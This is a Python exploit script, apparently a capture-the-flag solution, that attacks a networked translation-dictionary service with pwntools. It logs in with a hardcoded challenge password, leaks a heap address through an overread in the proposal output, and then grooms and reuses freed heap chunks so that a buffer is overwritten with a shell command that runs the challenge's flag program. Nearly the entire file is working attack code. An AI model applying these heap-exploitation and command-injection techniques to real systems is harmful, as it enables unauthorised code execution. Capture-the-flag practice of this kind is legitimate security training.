-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
120 lines (87 loc) · 3.56 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python3
import sys
import socket
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import u64, p64
challpw = b"fnetd_password"
# context.log_level = "debug"
ACTION_DELIM = b"action: \033[1;33m"
TRANSLATE_DELIM = b"translate: \033[1;33m"
WORD_DELIM = b"word: \033[1;33m"
TRANSLATION_DELIM = b"translation: \033[0m"
ORDER_DELIM = b"order: \033[0;33m"
LANGUAGE_DELIM = b"language: \033[1;33m"
EXTEND_DELIM = b"extend: \033[0;33m"
def add_proposal(r, word: bytes, translation: bytes):
r.sendlineafter(delim=ACTION_DELIM, data=b"5")
r.sendafter(delim=TRANSLATE_DELIM, data=word)
r.sendafter(delim=WORD_DELIM, data=translation)
def translate(r, word: bytes):
r.sendlineafter(delim=ACTION_DELIM, data=b"1")
r.sendlineafter(delim=TRANSLATION_DELIM, data=word)
def history_delete(r, idx: int):
r.sendlineafter(delim=ACTION_DELIM, data=b"4")
r.sendlineafter(delim=ACTION_DELIM, data=b"2")
r.sendlineafter(delim=ORDER_DELIM, data=str(idx).encode())
def history_show(r):
r.sendlineafter(delim=ACTION_DELIM, data=b"4")
r.sendlineafter(delim=ACTION_DELIM, data=b"1")
def change_from_lang(r, lang: bytes):
r.sendlineafter(delim=ACTION_DELIM, data=b"2")
r.sendlineafter(delim=LANGUAGE_DELIM, data=lang)
def change_to_lang(r, lang: bytes):
r.sendlineafter(delim=ACTION_DELIM, data=b"3")
r.sendlineafter(delim=LANGUAGE_DELIM, data=lang)
def extend_history(r, off: int):
r.sendlineafter(delim=ACTION_DELIM, data=b"4")
r.sendlineafter(delim=ACTION_DELIM, data=b"3")
r.sendlineafter(delim=EXTEND_DELIM, data=str(off).encode())
def attack(hostname: str, port: int):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((hostname, port))
r = remote.fromsocket(s)
r.recv(4096)
r.sendline(challpw)
# pause()
extend_history(r, 20)
translate(r, b"about") #120
add_proposal(r, b"\xaa" * 0x20, b"w") # 140 160
addr_line = r.recvline()
address_idx = addr_line.find(b"word")
addr_data = addr_line[address_idx + 5:]
ACTUAL_VAR_OFF = 0x20
# HEAP_ADDR == f_lang addr
HEAP_ADDR = u64(addr_data[0x20:0x26] + b"\x00\x00") & 0xffffffffffff00
HEAP_ADDR -= ACTUAL_VAR_OFF
FLANG_BUF_OFFSET = 0x5f20
BUF_ADDR = HEAP_ADDR + FLANG_BUF_OFFSET
# print(f"HEAP_ADDR: {hex(BUF_ADDR)}")
change_to_lang(r, b"cz")
history_show(r)
translate(r, b"about") # 180
translate(r, b"about") # 1a0
translate(r, b"about") # 1c0
translate(r, b"about") # 1e0
add_proposal(r, p64(BUF_ADDR) + b"\xaa" * 0x08, b"w")
translate(r, b"about") # 260
translate(r, b"about") # 280
translate(r, b"about") # 2a0
translate(r, b"about") # 2c0
history_delete(r, 2) # 2a0
history_delete(r, 2) # 280
history_delete(r, 2) # 260
translate(r, b"take") # 260 # longer word to overwrite the freed chunk
translate(r, b"about") # 280
change_from_lang(r, b"de")
change_to_lang(r, b"en")
add_proposal(r, b"a", b"/bin/get_flag || \0") # BUF
history_delete(r, 2) # need to free at least one chunk
translate(r, b"o")
r.recvuntil(b"\033[0;37mTranslation (\033[1;32mde\033[0;37m -> \033[1;32men\033[0;37m): \033[0;36m")
flag = r.recvline().removesuffix(b"\033[0m\n").strip().decode()
print(flag)
# r.interactive()
if __name__ == "__main__":
_, hostname, port, *_ = sys.argv
port = int(port)
attack(hostname, port)